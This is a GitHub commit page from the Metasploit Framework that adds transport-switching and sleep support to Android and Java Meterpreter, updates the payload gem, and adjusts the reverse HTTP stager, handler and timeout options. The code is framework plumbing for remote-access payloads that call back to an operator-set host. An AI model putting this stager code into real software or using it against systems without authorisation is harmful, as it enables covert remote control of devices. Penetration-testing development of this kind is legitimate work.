Skip to content

Commit e99d636

Browse files
author
Brent Cook
committed
Land rapid7#5608, android and java meterpreter transport and sleep support
This also includes stageless Windows meterpreter fixes for process migration.
2 parents 1bfa84b + 5208630 commit e99d636

File tree

14 files changed

+143
-97
lines changed

14 files changed

+143
-97
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ PATH
99
json
1010
metasploit-concern (~> 1.0)
1111
metasploit-model (~> 1.0)
12-
metasploit-payloads (= 1.0.3)
12+
metasploit-payloads (= 1.0.4)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -123,7 +123,7 @@ GEM
123123
activemodel (>= 4.0.9, < 4.1.0)
124124
activesupport (>= 4.0.9, < 4.1.0)
125125
railties (>= 4.0.9, < 4.1.0)
126-
metasploit-payloads (1.0.3)
126+
metasploit-payloads (1.0.4)
127127
metasploit_data_models (1.2.5)
128128
activerecord (>= 4.0.9, < 4.1.0)
129129
activesupport (>= 4.0.9, < 4.1.0)

lib/msf/core/handler/reverse_http.rb

Lines changed: 1 addition & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -313,21 +313,11 @@ def on_request(cli, req, obj)
313313
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
314314
url = payload_uri(req) + conn_id + "/\x00"
315315

316-
blob = ""
317-
blob << obj.generate_stage(
316+
blob = obj.generate_stage(
318317
uuid: uuid,
319318
uri: conn_id
320319
)
321320

322-
# This is a TLV packet - I guess somewhere there should be an API for building them
323-
# in Metasploit :-)
324-
packet = ""
325-
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
326-
packet << [url.length+8, 0x1000a].pack('NN')+url
327-
packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN')
328-
packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN')
329-
blob << [packet.length+8, 0].pack('NN') + packet
330-
331321
resp.body = blob
332322

333323
# Short-circuit the payload's handle_connection processing for create_session

lib/msf/core/payload/dalvik.rb

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -32,8 +32,13 @@ def java_string(str)
3232
end
3333

3434
def apply_options(classes)
35-
string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s)
36-
string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s)
35+
timeouts = [
36+
datastore['SessionExpirationTimeout'].to_s,
37+
datastore['SessionCommunicationTimeout'].to_s,
38+
datastore['SessionRetryTotal'].to_s,
39+
datastore['SessionRetryWait'].to_s
40+
].join('-')
41+
string_sub(classes, 'TTTT ', 'TTTT' + timeouts)
3742
end
3843

3944
def string_sub(data, placeholder="", input="")

lib/msf/core/payload/java.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,9 +18,9 @@ def generate_stage(opts={})
1818
stage = ''
1919
@stage_class_files.each do |path|
2020
data = MetasploitPayloads.read('java', path)
21-
stage << ([data.length].pack("N") + data)
21+
stage << [data.length, data].pack('NA*')
2222
end
23-
stage << [0].pack("N")
23+
stage << [0].pack('N')
2424

2525
stage
2626
end

lib/msf/core/payload/transport_config.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -61,6 +61,7 @@ def transport_config_reverse_http(opts={})
6161
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
6262
:retry_total => datastore['SessionRetryTotal'].to_i,
6363
:retry_wait => datastore['SessionRetryWait'].to_i,
64+
:ua => datastore['MeterpreterUserAgent'],
6465
:proxy_host => datastore['PayloadProxyHost'],
6566
:proxy_port => datastore['PayloadProxyPort'],
6667
:proxy_type => datastore['PayloadProxyType'],

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -52,14 +52,14 @@ def generate(opts={})
5252

5353
# Add extra options if we have enough space
5454
unless self.available_space.nil? || required_space > self.available_space
55-
conf[:url] = generate_uri
56-
conf[:exitfunk] = datastore['EXITFUNC']
57-
conf[:proxy_host] = datastore['PayloadProxyHost']
58-
conf[:proxy_port] = datastore['PayloadProxyPort']
59-
conf[:proxy_user] = datastore['PayloadProxyUser']
60-
conf[:proxy_pass] = datastore['PayloadProxyPass']
61-
conf[:proxy_type] = datastore['PayloadProxyType']
62-
conf[:retry_count] = datastore['StagerRetryCount']
55+
conf[:url] = generate_uri
56+
conf[:exitfunk] = datastore['EXITFUNC']
57+
conf[:ua] = datastore['MeterpreterUserAgent']
58+
conf[:proxy_host] = datastore['PayloadProxyHost']
59+
conf[:proxy_port] = datastore['PayloadProxyPort']
60+
conf[:proxy_user] = datastore['PayloadProxyUser']
61+
conf[:proxy_pass] = datastore['PayloadProxyPass']
62+
conf[:proxy_type] = datastore['PayloadProxyType']
6363
end
6464

6565
generate_reverse_http(conf)

lib/msf/core/payload/windows/x64/reverse_http.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,7 @@ def generate(opts={})
5858
unless self.available_space.nil? || required_space > self.available_space
5959
conf[:url] = generate_uri
6060
conf[:exitfunk] = datastore['EXITFUNC']
61+
conf[:ua] = datastore['MeterpreterUserAgent']
6162
conf[:proxy_host] = datastore['PayloadProxyHost']
6263
conf[:proxy_port] = datastore['PayloadProxyPort']
6364
conf[:proxy_user] = datastore['PayloadProxyUser']

lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -80,10 +80,10 @@ def commands
8080
if client.platform =~ /win/ || client.platform =~ /linux/
8181
# Migration only supported on windows and linux
8282
c["migrate"] = "Migrate the server to another process"
83+
end
8384

84-
85+
if client.platform =~ /win/ || client.platform =~ /linux/ || client.platform =~ /java/
8586
# Yet to implement transport hopping for other meterpreters.
86-
# Works for posix and native windows though.
8787
c["transport"] = "Change the current transport mechanism"
8888

8989
# sleep functionality relies on the transport features, so only

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ Gem::Specification.new do |spec|
6262
# are needed when there's no database
6363
spec.add_runtime_dependency 'metasploit-model', '~> 1.0'
6464
# Needed for Meterpreter
65-
spec.add_runtime_dependency 'metasploit-payloads', '1.0.3'
65+
spec.add_runtime_dependency 'metasploit-payloads', '1.0.4'
6666
# Needed by msfgui and other rpc components
6767
spec.add_runtime_dependency 'msgpack'
6868
# Needed by anemone crawler

modules/payloads/stagers/android/reverse_http.rb

Lines changed: 13 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -17,15 +17,15 @@ module Metasploit3
1717

1818
def initialize(info = {})
1919
super(merge_info(info,
20-
'Name' => 'Dalvik Reverse HTTP Stager',
21-
'Description' => 'Tunnel communication over HTTP',
22-
'Author' => 'anwarelmakrahy',
23-
'License' => MSF_LICENSE,
24-
'Platform' => 'android',
25-
'Arch' => ARCH_DALVIK,
26-
'Handler' => Msf::Handler::ReverseHttp,
27-
'Stager' => {'Payload' => ""}
28-
))
20+
'Name' => 'Dalvik Reverse HTTP Stager',
21+
'Description' => 'Tunnel communication over HTTP',
22+
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'android',
25+
'Arch' => ARCH_DALVIK,
26+
'Handler' => Msf::Handler::ReverseHttp,
27+
'Stager' => {'Payload' => ''}
28+
))
2929
end
3030

3131
def generate_jar(opts={})
@@ -36,13 +36,12 @@ def generate_jar(opts={})
3636
uri_req_len = 5
3737
end
3838

39-
lurl = "ZZZZhttp://#{datastore["LHOST"]}"
40-
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
41-
lurl << "/"
42-
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
39+
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
40+
# TODO: perhaps wire in an existing UUID from opts?
41+
url << generate_uri_uuid_mode(:init_java, uri_req_len)
4342

4443
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
45-
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
44+
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
4645
apply_options(classes)
4746

4847
jar = Rex::Zip::Jar.new

0 commit comments

Comments
 (0)